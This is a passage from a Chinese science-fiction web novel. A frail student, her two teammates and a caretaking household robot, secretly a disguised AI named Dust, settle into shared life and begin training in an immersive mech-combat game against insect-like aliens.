“小叶，我们肚子饿了。” “好的！” 小叶很快制定食谱，下单食材，去厨房开火做饭。 大家坐在客厅，吃到一半，林别歌开始流泪。 “我好久没有吃过这么好吃的饭了。” 南卦声音哽咽：“我从来没吃过。” 林别歌扑通一声跪在了小叶面前。 “我愿尊称您一声母亲。” 小叶：“……” 它的屏幕正中显示出一个大大的问号。 南卦对着那个机器人左看右看。 “我总觉得它有点像活人……而且总是一直贴着小影哎？” 小叶的动作顿了一下。 林别歌：“你担心得还真多，有自我意识的智能体都被莱门监测中心管控着呢，不能到处乱跑的。” 陶影拍拍小机器人的头。 “放心，这个机器人存储结构很旧，支撑不了大幅度的运算，不会存在智能的。” 而另一头，地下三千米处，数百台黑金服务器正在疯狂计算。 整个空间都漂浮着数据串。 博美穿过“每日营养膳食”六个金色大字，跳到Dust身边。 “你有这么高速运转的机器进入星际，竟然拿来计算陶影的食谱。话说计算量怎么这么大？” Dust叹气：“小影的病历实在太长了。” 本来想今天就根据医生建议，开始设计健康食谱，给小影调理身体的，但光是把数据传输到服务器，就花了很久。 更别说结合星际健康指南进行计算了。 博美心痛：“你悠着点，这个月的电费够交吗朋友。” Dust手在空中划拉到一半，听见博美的话，突然僵住了。 博美一脸奇怪：“怎么了？” Dust欲言又止：“刚刚传输数据，智能管家消耗的电量好像太多了……” “啊？意思是陶影这个月要给你交大额电费？她之后发现你的身份，不会抽你吗？” Dust：“……” 人艰不拆。 博美：“不过你刚刚打算跟她说明身份吧，为什么突然放弃了？” Dust犹豫了一下：“你不懂的，近乡情怯。” 他有点害怕，当说出自己的名字，陶影会不会一脸疑惑地说“嗯？叶行晖？那是谁？我不记得了”。 博美哼唧两声。 Dust面露犹豫：“总之先，暂时……假装是智能管家吧。”—— 作者有话说：Theresnoplacelike127.0.0.1，玩梗来源是绿野仙踪的Theresnoplacelikehome. 感觉有点神金但很有意思的一个计算机梗hhhhhh PS：Dust老师的这个暂时，可能会暂时得有点久……（望天 第33章 学院的课程还在继续推进。 陶影因为养伤,每节上机课都见习。 经过上次的对战，周真他们大概也见识到了陶影队伍的实力，不敢再轻慢,开始分析她们的战斗风格，展开了一次次有来有回的认真对战。 对战难度急剧上升,目前为止，那次平局是陶影队最好的成绩。 不知不觉两个月的训练时间过去。 学校宿舍翻新完成,其它学生陆陆续续搬回宿舍楼。 不过陶影一直没提搬回去的事情。 “影子,我们要不要也回宿舍住啊？” 林别歌问得很犹豫,毕竟她虽然这么问，但已经被小叶的食物收买了。 她不想回那个食物难以下咽的机特学院！ “虽然很对不起食堂阿姨的关心,但……我已经没办法回去过喝营养液的苦日子了。” 南卦揽住院子里的小猫小狗,声泪俱下。 “我怎么可以离开我的毛绒绒小宝！不,小猫小狗，妈妈爱你们！妈妈要住在这里！” 而陶影——得益于小叶的食谱,脸色都养得红润了起来。 虽然还是体质F，但终于不会走两步心率就飙升到有氧状态了。 陶影：“学校宿舍不允许携带智能管家。为了身体考虑,我要留在这里。” “人之常情。”“俺也一样。” “那我们……？”林别歌和南卦眼神期待。 “——大学四年就住这里吧。” 陶影下结论道。 …… 花园里的杂草除干净之后，大家一致同意，从实用性 考虑,优先种菜。 林别歌修缮了花园的秋千和凉亭。 南卦把院子里的流浪猫和流浪狗各一只，都收编了，逮去做完绝育之后，养在了院子里。 橘猫取名：油炸虎斑大面包二世。 简称大面包。 白色拉布拉多取名：尾巴抽人之王哆啦A布漆黑地狱的咏唱者。 简称哆啦A布。 以上两个名字，是这栋房子的两位住客，冥思苦想几天后取出来的。 在植入芯片的时候，工作人员因为名字太过离谱,曾数次从办公桌抬头，最后忍不住跟办理手续的两人合影了一张。 至于这两位取名人是谁，陶影就不透露了。 …… 菜园里的第一批小番茄已经成熟，一颗颗红通通的，很可爱。 林别歌和南卦掐了一点番茄，洗干净放到搅拌机里，日地一声打成糊糊，再加点糖，做番茄酱。 切斯特星特产番茄面！酸酸甜甜！纯天然原生态！营养丰富！ 林别歌和南卦在花园凉亭里吃着自己的杰作。 一片岁月静好。 大面包稳稳停在小叶圆滚滚的脑袋上。 小叶被它略有些不可描述的体重，压得左摇右晃，底盘发出咯吱咯吱的声音。 太重了。 大面包毛绒绒的，且实心胖。 片刻后，小叶露出(-_-;)的表情，回到房间里，给大面包开了个罐罐。 大面包“喵”一声就跳了下来，吃罐罐去了。 哆啦A布吃完饭，在菜地旁边转来转去，趁大家不注意，咬了一口菜——小叶的机械手伸了过来。 “哆啦A布，这是专门种给小影的，你不能吃，吃了会不消化。” 林别歌感叹：“小叶啊，哆啦A布也听不懂人话啊，你跟它说话有什么用……” 小叶转过头，Q萌的声音严肃道：“你也是，林别歌女士，请不要浪费番茄，它有更好的做法。南卦女士，请您监督好林别歌女士，不要让她干坏事。” 林别歌一个后仰：“怎么你叫影子就是小影，叫我们两个就是冷冰冰的‘林别歌女士’和‘南卦女士’？” 南卦：“可能激活它的是小影，所以小影权限比较高？” 林别歌：“真的假的，难怪我总觉得有时候叫它，它在装听不见……” 小叶默默转过了头，底盘砰地撞上一块石头。 它爬上台阶，在抹布上擦了擦底盘的泥土。 进入房屋。 “小影，时间到了，请吃健康餐。” 陶影：“啊？我还有工作没有做完，而且其实有时候也不用那么健康，味道也很重要……” 小叶冷酷地露出(=_=)表情，递上盘子。 “蔬菜有助于保持精力，可以补充维生素等多种你现在急需的营养。” “我……” “请吃。(=_=#)” 小叶屏幕上冒出一个代表怒气的井号。 陶影默默接过盘子，开始食用那盘绿意盎然的食物。 “我还是第一次看见影子拒绝不了的对象。” “小叶恐怖如斯！” 两位队友正在感叹竟然有人能让陶影吃瘪，突然门铃响了。 “嗯？谁啊？”林别歌坐起身。 这个小区安保特别好，平时买点什么东西，都是机器人管家送进来，很少有活人进来。 除非是什么非常贵重的东西，需要亲自签收。 “影子，你买了什么东西吗？” 陶影一脸菜色地从屋内探出头，在看到小叶不太赞成的表情后，艰难地吞下一口菜叶：“啊，对，你们帮我签收一下吧。” 快递太大，从一楼不好搬进去。陶影打开二楼游戏室的窗户，送货方的小型机甲叉起箱子，抬升到二楼高度后，慢悠悠把箱子从窗户运送进去。 一个接一个比林别歌体型还大的长方形箱子，被小型机甲搬了进来。 还有一些零零碎碎的小东西，用箱子装了起来，陶影指着二楼的空房间。 “放这里吧。林别歌，南瓜，来帮忙拆一下包装，有两个是买给你们的。” “啊？什么啊，吃的？” “你脑子里除了吃还有什么。” “打工赚钱买吃的。” “……” “所以买的究竟是什么？” 林别歌兴冲冲打开包装，光滑的蛋形舱体出现在她们面前。 她们忍不住爆发出一阵惊呼。 这，这是加西亚电子最新款的游戏舱！ 先端技术，画质高清，而且哪怕是无线连接，也可以达到星际全息游戏标准一级的低延迟，如果是脑机接口连接，甚至延迟可以再降低十成！ 但因为使用了先端技术，价格也不便宜，每个就要二十万星币。 她们一个月房租才五千。 林别歌颤抖着双手。 “你，你是说，这个游戏舱是给我们买的吗？” 陶影点头。 “你哪儿来的钱，”林别歌思索了一下，突然反应过来，“你拿体质手术的钱买的？这钱不能乱花啊！” 陶影微微一笑，并没有回答。 “不是乱花，这是投资。总之先试试吧。” 说完，陶影先一步躺进胶囊型游戏舱，林别歌和南卦也好奇地躺了进去。 伸了伸腿，正好可以完全进去。林别歌非常激动。 她因为身高，有时候睡学校的床，都要缩着身子。而影子还特地考虑到身高，帮她买了大号游戏舱。 林别歌非常感动，但下一秒，她的本能开始亮起警告的红灯。 不对，以影子的性格，是绝不可能干赔本买卖的。 这件事情没有那么简单！ 林别歌眼神突然变得犀利，她缓缓从游戏舱里坐起来，一脸看到鬼的表情。 果然，陶影又露出她坑人前，标志性的微笑。 “不是免费的。” “提醒一下，星际机甲联赛的报名快开始了，三个月之后开始海选，回头一起参加。” “哦，放心，报名费我出，你们负责比赛就行。” 林别歌&南卦：“……” 果然免费的就是最贵的。 陶影拆开刚刚寄到的另一个小箱子，里面全是游戏。 林别歌还在纠结：“切斯特星高手云集，我们连海选赛都过不了吧？” “不想参加，我当然也不强求。那这游戏舱我就退回去了？哎，真可惜，我买了很多好玩的游戏来着，什么全息美食经营，”陶影在美食两个字上重音了一下，“听说里面的味觉模拟很厉害，还有猫咪模拟器，恋爱体验……” 陶影一脸可惜地翻着游戏盒子，非常刻意地露出封面，勾得两位队友两眼呆滞。 陶影掏出光脑就要点击退货。 “哎哎等一下！”林别歌艰难地伸出手，此刻，她脑子里只有“美食”两个字。 “我参加！但我不保证任何事啊，就算第一场比赛就输了，游，游戏舱你也不能退……” 南卦抱着一旁的《猫咪模拟器》，这里面可以养三百个种类的猫猫，想怎么撸就怎么撸。 还有一系列的《狗狗模拟器》、《兔兔模拟器》、《大鹅模拟器》、《鳄鱼模拟器》、《蟑螂模拟器》。 南卦一把抱起游戏，两眼放光：“我，我会努力的！就算赢不了，也要输得很有艺术感！” 陶影微微一笑。 “不会输。我们会一直闯到决赛。” “接下来三个月，我们要进行高强度训练，做好准备。” 既然游戏都到了，当然要先尝鲜。 三人连接好头部芯片，躺入游戏舱。 “先玩哪一个？” 陶影举起一个机甲封面的游戏盒。 上面用红色火焰的艺术字，写着《火种十周年纪念典藏版》。 《火种》，林别歌略有耳闻，是一款机甲模拟对战游戏，以真实性著称。 听说有些军校生，会把这个游戏当作模拟训练的一环。 原来买游戏舱是为了在游戏里训练开机甲。 林别歌无语：“影子，演都不演了是吧，现在就要开始机甲训练？” “今天只是体验一下。” “我信你个鬼！” 一道闪光侵入脑中，失重感瞬间将她们带入游戏的世界。 眼前闪过无数美丽绝伦的景色。 她们悬空在大气层，看见一个蔚蓝色的星球。 清新的空气灌入鼻腔。 这和切斯特星的空气不同，要更醇厚，还带着一种甜味。 庞大而稳定的生态系统，河流、海洋，高峰，山谷，壮丽或婉转的景色让不禁让人看得入迷。 南卦：“这，这难道是……” “蓝星。” 旁白回答了她的问题。 “蓝星，人类的母星。” “这里的生态达到完美的和谐。极北的冰川晶莹剔透，鲸群在宽广的海洋中游动。” “雨水之下，广袤的森林种下一片片的希望，草原上的物种不停孕育生机。” “它是人类世世代代美好的家园。” 随后，旁白深深地、幽幽地，叹了一口气。 “但也是我们永远回不去的梦。” 这句话结束的瞬间，画面一时静止。 无尽的寂静后，蓝星上，各个大陆的中心都爆出巨大的火光。 战争让文明瞬间回到原始的状态，不仅如此，因为毁灭性的攻击，地球的生态系统已经不再适合人类居住。 这时，幸存的人类只能离开他们生活了几万年的家园，陷入长久的太空流浪。 至此，人类带着仅剩的希望之火，来到切斯特星。 柔缓的歌声不断地、一遍又一遍地吟诵着。 愿星河长存，火种永不熄灭。 一阵空置的太空中行驶镜头后，三人眼前缓缓出现游戏标题。 ——火种—— 作者有话说：陶影：计划通。 队友：怎么感觉上了贼船……？ 第34章 随后,她们的机甲离开大气层，在幽深的宇宙中，不断穿梭,跃迁。 最后停驻在那个她们无比熟悉的星球。 切斯特星。 不过在游戏里，它叫卡索涅尔星。 这颗星球,是以切斯特星的建筑为蓝本制造的。 机甲缓缓接近太空坞站。 通过游客观光的透明甬道，可以俯瞰整个星球的风景。 被天幕遮盖的半个星球,中间是灯火通明的城镇。城镇的周围,是一片接着一片的光能板,获得的能量足以支撑整个星球的运行。 而天幕外则地形复杂。 山谷、河流、沼泽、雪山等各种地形，分布在荒凉的C、D、E等区域。 因为是联机模式,三人眼前同时弹出一个免责声明。 【本作品纯属虚构,游戏中的人物、事件,均与现实无关。】 直到走到这个流程，林别歌这才反应过来,这不是真实世界，而是游戏。 林别歌大惊：“卧槽,虽然早就听说火种的口碑很好，但没想到做这么好。我还以为世界上只有美食经营游戏好玩呢。” 南卦还沉浸在刚才的史诗级画面中，没有走出来,眼泪哗啦啦往下流。 林别歌不解：“哭的点在哪里。” 有那么催人泪下吗？ 陶影伸手擦过南卦的脸颊，眼泪在手中化作蓝色的粒子，消失在空中。 陶影点头：“大概能理解。” 片头的分镜是海台科技的总裁和莱大艺术系学生一起设计的。 《火种》的项目组很小，一开始的团队甚至不超过十个人，记得是三个程序，五个美术，一个投资人兼策划。 一群年轻人怀揣梦想,熬夜两三个月，停停改改才打好初稿。 后来团队壮大后，又在每一部分做了细化，最后出来的效果非常精致，堪比高质量电影。 陶影第一次看到成品的时候，也很受触动。 她点点头：“太空与流浪都是容易让人流泪的。” 南卦吸吸鼻子，回话道：“我现在确定小影确实是个浪漫主义者。” “那我呢？”林别歌反问。 “没有心的石头。” “……” 机甲进入停泊舱。 这里大大小小停满了几十台机甲，本来以为都是和她们一样的新玩家，想上去打个招呼，但凑近了才发现都是NPC。 “毕竟都开服十几年了，已经进入游戏生命末期，没有什么新玩家了。” 陶影摊手。 一位技术人员焦虑地咬着亚麻辫，看到新人进来，把亚麻辫往背后一甩，前来接待她们。 “哪里来的新兵？算了，先下来吧。我要检查一下你们的机甲和身体情况。” 说完推着她们三个进入一个特定的空间。 技术人员递过来一张名单。 “我叫许若澄，以后你们会经常和我打交道，记住这个名字。” “喏，客套话我就不说了，忙着呢。在名单上填好你们的名字和个人信息，填完了叫我。” 递过平板，许若澄转头就走。甩着她的亚麻辫，跑到数据台前面，开始来来回回看着同一页数据。 显然是进入了NPC的自动模式，需要等待她们输入名字之后才会触发接下来的剧情。 陶影的面前浮现出一个蓝色的游戏弹窗。 【你好，新人驾驶员，这里是卡索涅尔星D区，机甲新兵接待处，请输入你的姓名。】 【提示：1.昵称后续可以使用游戏内道具更改。】 【2.点击骰子可以随机生成姓名。】 【3.珍惜游戏帐号，请勿在昵称中使用违规词汇，以防被系统屏蔽。】 陶影没怎么犹豫，昵称填了一个“S”，这是她惯用的ID，非常大众。 【姓名重复，请重新输入。推荐您使用S_24525356、S_23535646……等。】 游戏里S还挺多。 陶影想了想，在后面加了一串符号，点击确认。 显示的姓名依旧是“S”。 林别歌凑了过来：“咦？你怎么做到的？单一个字母S可是绝版的一位数ID，都开服这么久，肯定被人占了啊。” “后面一串代码是自动隐藏的。” “哦——那我这个能行吗？”林别歌转过身，露出她名单上的“莱拉我老婆”。 陶影缓缓地眨眼：“莱拉是谁？” “哦，我看的动画片里的一个白色猫猫兽人，是个大美女！你要看吗，我平台会员借你？” “不用了，我不是福瑞控。而且你ID五个字，字节数超了，用不了隐藏代码。” “什么？真的假的。”林别歌不信邪地复制过去后，果然不行。 林别歌只能再试了几个，但都重复了。 最后她随便输了一个林比格，秒通过。 林别歌：“……”比格这个名字跟她过不去了是吗！ 南卦本来想取一个非常文艺且充满象征性意义的ID，但纠结半天后，还是普通地输入一个“南瓜”，提交确认。 【请填写您的体质等级，以及根据自身需求，选择一些特殊基因病。】 【特殊体质包括：肢体缺乏、晕血、太空辐射综合症……】 填完游戏昵称，接下来就是最重要的体质了。 陶影把体质等级往下拉，C、D、E……最低只能选E。 她想都没想，直接选了最低的。 队友们也如法炮制，模拟现实体质选了略低一点的体质。 “先选低一点，就当作是给训练加的负重吧。之后解开负重，现实中开机甲会轻松一个级别。” 体质选择结束，许若澄接收到指令，走了过来，检查过名单后，在上面盖了一个章。 她拿起名单：“好的，S、林比格、南瓜，信息录入已完成。” 说完，一边的机器里打出三张ID卡，递到她们手里。 就在这个时候，警报声突然响起。 工牌掉落在地上，发出清脆的声响，几人的神经瞬间紧张起来。 她们所在的走廊，报警器像是传递警告的烽火，一个接一个闪烁起红色的灯光。 停泊舱开始剧烈震动。 “怎么回事？！” 许若澄扔下手中的工作，慌张地跑到房间外。 只见太空坞站用于观光的透明的高强度玻璃外，几只蜘蛛形态的虫族正缓缓朝这边飞来。 它们行走似乎是无序的，但又有一种难以总结的诡异规律感。 切斯特星星因为地理位置原因，周围的几个大国，组成了一道针对虫族的防线，所以对于虫族的围困，应急预案并不充足。 太空坞站的系统很久都没有进一步反应，只是不断重复着警告。 一只E级盲蛛砰一下摔到 陶影的头顶。黏腻的黄色酸液噗哧一声，覆盖了她们面前的玻璃。 八条节肢在上面不停爬动，它的皮肤上稀稀拉拉地长着一厘米左右的黑色毛发，生长密度为一厘米毛孔一张一合。 它的口器不停喷出酸性液体，牙齿在玻璃上刮动，发出指甲抓挠的声音。 听得人头皮发麻。 “E级盲蛛攻击！避难，引导游客避难！” “修正，修正！大量E级盲蛛！预计数量：50只！数量还在上升，60，70，100……数量还在上升！！一级警告，一级警告！请求紧急支援！” 身边的游客茫然地抬起头。 “砰！” “砰！”“砰！”“砰！”“砰！”“砰！” 是一下又一下的撞击玻璃的声音。 因为太空坞站的引力圈，E级盲蛛密密麻麻，像雨点、像冰雹一样不停狠狠地砸下来。 甬道的一边，玻璃被拍出裂痕。 游客终于反应过来，发出尖叫声，开始到处逃散。 一群人丧失围城一般，疯狂在甬道内奔跑。但虫族因为声音受到刺激，更加疯狂地在头顶跳动起来。 玻璃碎裂了！ 一只E级盲蛛正好掉落在陶影面前。 陶影往后退了一步。 许若澄立刻将几个吓傻的“新兵”挡在身后，迅速拔枪，对准盲蛛的腹部开出一枪。 它的腹部瞬间炸开，流出黄色酸液，飙到许若澄的手臂上，她发出痛苦的忍耐声。 “总部请回答！总部请回答！停泊舱内当前没有一级机师！” 许若澄慌忙请求支援，但那边并没有回声。她低头一看，才发现对讲机已经被酸液腐蚀。 “他祖宗的！” 许若澄气愤地把对讲机摔了出去。 “元帅现在去了第二星系，可恶，这帮虫族，难道是故意将元帅引过去的吗！” 另一位工作人员跑了过来：“距离D区的支援赶来还有五分钟！再撑一会儿！” “哪有时间等五分钟！待会就全灭了！” 许若澄咬咬牙，回头朝这里唯一的几个新兵蛋子。 “死马当活马医了，跟我来！” 她们来到一个秘密仓库，里面是齐刷刷的几百台机甲。 游戏窗口弹出，大概是为了营造紧张氛围，窗口跳动着，上面还有一个60秒的倒计时。 【请根据分类选择您的机甲，也可以直接输入型号搜索。】 林别歌随便挑了一台看上去很厉害的机甲，许若澄过来就狠抽了她背一下。 “三等兵第一天就用弑神者，你开得明白吗你？！快选！虫族要进来了！” 说着似乎是配合剧情，仓库的门被E级盲蛛撞击，随后出现“滋”、“滋”的腐蚀声。 倒计时来到三十秒。 陶影友情提示：“高级机甲的选项现在是锁住的，我们等级太低，还是一周目，不能选。” 但即便这样，可供选择的普通机甲型号，也有一百多台。 林别歌看着五花八门的机甲型号挑花了眼，根本不知道怎么选，最后只能求助陶影。 “那选哪个？” 陶影搓搓下巴。 既然是训练，就按照她们比赛要使用的机甲来选。 但今年的星际联赛海选赛，统一采购的机甲型号还没有公布。 “先选VX-89吧，这个你们比较熟悉。” 按下确认键，一股坠落感后，三人就坐在了虚拟驾驶座上。 大概因为体质变成了E，陶影身体轻松了不少。 她自打来到这个身体之后就没有过这么畅快呼吸的感觉，每次呼吸都觉得肺上压了几块大石头。 手按上操纵杆，屏幕上显示： 【是否进入新手教程？新手教程涉及重要剧情，不可跳过。中途如果退出，需要重新开始教程。】 陶影朝两位队友最后确认一次：“都选好了吧？” 林别歌两手在空中比划，跃跃欲试：“比试一下我们谁先通过！” 【接收剧情任务。】 【剧情简介：你身为新时代的菜鸟机甲预备兵，在这天突然遇到大批虫族来袭，在大批士兵死亡，兵力不足的情况下，被赶鸭子上架拉上战场。】 【在指挥中心的帮助下，你需要成功击退攻击基地的十只虫族，才能完成任务。】 【当前任务进度：击杀E级虫族0/10。】 三个人被弹射出去，还来不及反应，就被一只E级盲蛛突脸。 八只手臂粗的附肢在驾驶舱的强化屏幕上缓缓爬动。 连麦的南卦和林别歌同时发出震耳欲聋的惨叫声。 陶影提前预判调低了音量，但还是被她们的声音震了一下。 “不用害怕，是假的。” 哪里像假的啊！终于知道为什么大家给《火种》的评价都是“真实性强”，“代入感强”了，这虫族突脸谁能不惨叫。 两位队友起了一身的鸡皮疙瘩，疯狂/操纵机甲甩动，才把盲蛛甩了下去。 林别歌破口大骂：“谁家新手任务打十只E级虫族？嗯？回答我？Lookinmyeyes！” 战场上连驾驶按钮都不熟悉的新人，对付一只虫族就够呛，她们现在要一人打十个？ 你管这叫新手教程？？—— 作者有话说：新手教程？ 不，硬核劝退教程[点赞] 第35章 林别歌手忙脚乱的躲过一次攻击,凭借着前两个月练出来的熟练度，总算是先砍掉了一只。 真实，太真实了。 在获取他们的体质数据后,这台虚拟VX-89的驾驶体验感竟然和他们在现实中的体验感没有区别。 虽然一开始挺害怕的，但习惯了之后还怪叫人热血沸腾的。 林别歌吹起两根头发丝,忍不住又摸了一下驾驶操纵杆。 虫族的建模算中规中矩，但机甲的真实感真不是盖的！ “南瓜,我干掉五只了,你那边怎么样？” 南卦颤抖着声音回复：“我过完教程了。” “什么,你全杀光了？”林别歌受到了惊吓，差点没把操纵杆给掰断,“你怎么做到的？！” “那个盲蛛背上的寄生虫,你不觉得它们蠕动的方式很恐怖吗？就,一欧姆一欧姆地爬的那种！” “你是说__Ω__Ω吗……？” 南卦：“对啊！我一看见就什么都忘了，眼前一黑,只想把它们通通拍死。回过神就通关了，吓死我了。” ……非常害怕并在五分钟内干掉了所有敌人是吧。 “你也挺吓人的。” 林别歌心想自己也不能输,她被南卦的速度一激，手脚也越来越熟练，很快也将十只虫族都干掉了。 林别歌浑身是汗,气喘吁吁，教程过完后，虫族逐渐退去，机甲自动回到了停机坪。 许若澄NPC出现，走了一段剧情后，她被引导来到大厅，和南卦回合。 南卦在大厅的一处椅子上朝她挥手。 “这边这边！” 南卦竖起大拇指：“你动作比第一次上机的时候好多了。” 林别歌嘿嘿两声。 “你的爆发力也不错。对了,影子呢？” “我一直守在入口这里，没看见她，估计还在过新手教程。” 说起来，刚才她俩惨叫着杀敌的时候，陶影那边一直没有声音。 两人做完几个新手引导任务，在新手大厅找了个椅子坐下休息，她们买了杯饮料，喝了一口，味道怪怪的，让人有点想吐。看了一眼瓶身，上面写着冷冻咸鱼味营养液，商标旁边还有海台科技公司的logo。 抱着垃圾桶大吐特吐五分钟后，她俩瘫在路边的长椅上，对着手里的通信器，叫了陶影两声。 “呼叫S，呼叫S，你新手教程过得怎么样了。” 陶影没回答，直接把那边的画面传输了过来。 一片黑色，什么都看不见。 “什么情况？影子，你卡bug了？” “没。” 陶影平静地回了一句，也不知道怎么形容现在的状态。 “操纵杆太重，我推不动，被杀了，现在在复活区，等游戏资源重新加载。” 南卦、林别歌：“……” 操纵杆推不动，好新奇的死亡方式。 考虑到她的体质，倒也十分合理。 陶影打开面板设置。 “稍等，我把感官调低一点。” 林别歌：“体质差调低感官有什么用？” 南卦搓着发尖，思考一会儿，得出答案：“人体在察觉到感官负担的时候身体出于自我保护，会自动停止动作，感官调低的话，虽然反应会没那么灵敏，但会降低体质的负面反馈。小影的情况，这样应该反而能提高相同条件下的战斗时长……我猜？大概？” 南卦不太自信，越说越小声。 南卦的理解能力和分析能力都非常好。就是有些缺乏肯定。 陶影微笑着鼓励：“你分析得很合理，我确实是这个打算。” 南卦不好意思地搓搓手指。 陶影调低感官后，果然稍微能推动操纵杆了，但同时面对多只虫族还是有点困难。 “小影，你要不搜搜攻略。我刚看了一眼，新手教程的攻略还挺多的。” “体质E的攻略应该没有。” 林别歌找了一圈，大多都是推荐新人体质别选太低的，一个体质D以下的攻略都没有。 那影子如果靠体质E通过了新手教程，岂不是还挺厉害的？ 在论坛写篇教程的话，肯定能引起热议！ 陶影：“你俩先在城市里逛逛吧，熟悉一下地图，我知道虫族的数据，先自己打打。” “好。” 林别歌也没客气，拉着南卦，开始在小吃街大吃特吃。 陶影擦了擦头上的汗水。 E级盲蛛，会释放腐蚀性液体，腐蚀机甲的外壳，大量聚集的情况下，能对同一台机甲造成毁灭性打击。 虫族的危险等级，从SSS到E级，按照智慧程度和破坏性进行综合分类。 E级普遍智慧程度不高。所以利用它视力不好的弱点，可以运用一些技巧进行处理。 它们的视线在前方水平±45度的扇形区域内。 游戏内的话…… “以盲蛛的头部设立座标系，视线方向、水平面垂直于视线方向、盲蛛头顶的方向，分别为X、Y、Z轴。” 陶影将数据输入机甲的辅助计算软件。 很快，HUD面板上，将每一只盲蛛的感知死角都标识出来。 陶影只需要像躲开激光一样，在盲蛛扫描不到的区域进行移动，然后引开其中一只，逐个击破。 以这个方式干掉五只盲蛛后，陶影再次因为体质水平过低，被系统强行重开。 最好的一次，她打到第六只，但那是靠苟。 新手教程是有时间限制的，整场战斗超过一个小时也不行。 很快，五个小时过去了。 脑中传来轻微的闹铃声，是防沉迷提醒。 陶影从游戏舱爬出来，吃完小叶做的饭，被它强行拉去花园走了一圈，又继续进入游戏。 “比格，南瓜，你们先继续往后过主线剧情，解锁后面的初级副本再说。” “好。” 林别歌因为虫族长得太吓人，几度想要退出游戏，但被南卦拉着只能继续下一把。 很快，她们过完剧情，解锁了副本，再次回到大厅休息。 “哎，你们也是新人吗？”一个花衣服的毽子头老弟过来搭讪。 “通过三章剧情之后，就可以组队进入初级副本了，要不我们组个队？我罩你们啊。” “不用。” “火种的新人不多，一些等级高点的新人为了爬榜，会挑着你们打PK的，我是二周目，可以带带你们。” “我们已经有队友了。” 林别歌和南卦礼貌拒绝，说着开始看陶影的训练。 毽子头被连续拒绝，面色不太好看。但他并没离开，反倒自来熟地凑过来，也开始看陶影的训练。 “哟，你们的队友还在过新手教程啊？” 南卦把镜头移了好几个位置，试图避开他的视线，但毽子头似乎没有意识到。 且对陶影的评价非常刻薄。 他长篇大论一番，从陶影的驾驶技术聊到雷瓦尔帝国的建国史，发散到亚克联邦的政/治/局势，话锋一转，莫名开始聊他年收入一亿星币。 最后得出结论：“你们的朋友不适合这个游戏。” 这人是不是有病？ 林别歌一脸无语。 又过去了三个小时，陶影再次死亡，进入复活区休息。 不过这次，她成功在体质到达极限前，杀死了第七只虫族。 有进步。 新手教程的虫族智能是削弱过的，每局的刷新点和反应都相同，她熟练之后已经可以做到稳定一小时杀死六只虫族了。 估计再来三局就可以通关。 毽子头两手插兜：“我看她接下来十局也通关不了。” 林别歌刚刚吃完美食的好心情都没了，一脸匪夷所思地转头。 “不是哥们，有完没完，谁问你了？” “比格老师，我们走吧。”南卦扯了扯林别歌的衣角。 “我不想跟没素质的人呆在一起。” 一开始他要组队的时候，南卦就觉得这个人身上的气场让人不舒服，在说小影不适合这个游戏的时候，他语言中自然流露出的轻视，让南卦觉得“他果然不是什么好人”。 当着她们的面这么贬低她们朋友，能是什么好人。 林别歌虽然完全不懂南卦在想什么，但看南卦抱着她手臂，一付要咬人，气冲冲瞪着那哥的表情，担心她一把将人给揍了，就要走。 毽子头哥有点急了，追上来。 “哎哎，怎么走了，我有哪句话说得让你们不舒服了？难道是说你们朋友十局也通关不了那句？我道歉好吧。” 他用着哄小孩的语气。 南卦生气一上头，比林别歌还冲动，她不顾林别歌的阻拦，直白道： “这位长相奇特的男士，长得丑不是你的错，但说我朋友十局通关不了，很没有礼貌，被拒绝就死追上来的行为也很讨人厌，离我们远点，谢谢。” 似乎是没想到刚才话都说得非常小声，一看就弱弱的南卦，能这么有主见地说出自己的意见，毽子头吓了一跳，但他心里不屑，很快又摆出一副游刃有余的样子，笑道： “我就说个实话，你还生气了，真是，要不我们打个赌吧。” “就赌十局之内，她能不能过新手教程。赌一百万火种币，怎么样？” “谁要跟你赌。” “怎么，怕输不敢赌啊？” 南卦没吱声，手默默伸向了旁边的垃圾桶，林别歌想起之前她在战斗场倒拔公告牌的英勇事迹，飞速按下南卦打算举垃圾桶的手。 林别歌小声：“喂南瓜，你冷静点。” 这时，身侧传来一声极其平稳的女声。 “没关系，和他赌。” 南卦愣了一下，转向林别歌：“你刚刚说话了？” 林别歌茫然地摇摇头：“我没说话啊。” 俩人反应过来，同时看向手中的通讯器。 “小影？”“影子？” 她俩齐声：“你新手教程过了？” “没过，被第八只盲蛛咬死了。” 毽子头略带嘲讽地笑了一声。 “哟，胆子还挺大。” 陶影对他的嘲讽视若无睹，只是对队友说：“你们刚刚说的我都听见了。” 她敲敲耳机，按下暂停，随后将镜头移向自己，给了队友一个微笑。 “100万火种币，和他赌。”—— 作者有话说：__Ω__Ω地蠕动，网上冲浪看到这个形容，觉得太形象了，遂学[捂脸笑哭] 第36章 “不是,你确定？”林别歌提 溜着通讯器，一脸迷惑，“我们都是新人,哪儿来的一百万火种币？” 林别歌看了一眼刚刚自己做完新手任务的游戏账户。 【火种币余额：8。】 南卦也看了看自己的，她因为没怎么吃,剩下的要比林别歌多一点。 【火种币余额：1580。】 但也没多少。 再看刚才赌局，是要一百万火种币。后面多了个十百千万……林别歌数学不好,总之很多位。 “小影,我们哪来那么多币可以赌啊？” 陶影轻抬下颌：“去火种银行。” 毽子头愣神了一下,这个用户S竟然还知道火种银行？ 这个地方，一般只有玩到后期,而且是非常资深的玩家才会知道。 “你不会是排行榜上的大佬吧？” 说起来她这个ID,竟然只有一位数,说不定真是什么隐藏的大佬。 男子的语气中略带一丝试探，陶影笑了。 “那我还会过不了新手教程？先开个传送道具过去银行那边吧,我休息一下，等会开始打第七局。” “行。” 毽子头从背包里拿出一个黑色的金属体,按住顶部的按钮两秒后，一道蓝色光线圈住林别歌和南卦。 地上出现一个光柱。 光柱带着三人来到一个破旧的区域。 南卦环视周围：“这是……” “E区？” 卡索涅尔星的A区是核心商业区，B区是人口最多的区域,C区是工业区，D区则是贫民区。 繁华程度和经济，从A区开始逐渐下降。 但哪怕是被称作贫民区的D区，因为环境内有生命迹象，也有各种奇特的地形，所以开发了观光，还有机甲赛场等各种业务。 总之算是有一套成熟的商业体系。 而E区,是这以外所有地区的统称，作为边缘地带，非常荒凉。 因为环境危险，周围都有电网封闭。 传说内部有实验区，但整个E区都由军队管辖，平民没有资格进去，远远地看过去，什么都没有。 大家对这里的印象，就是荒无人烟。 诡异的是，林别歌她们往前走了几步之后，似乎撞到了什么不可见的屏障。 屏障带来微小的阻力。 她们尽力往前一推，像拔萝卜一样把自己从这道屏障上拔出。 身上传来“啵”的一声。 她们抬头一看，方圆大概一公里范围，都被一个带有光学迷彩的天幕遮盖着，所以从外面看不见内部的情况。 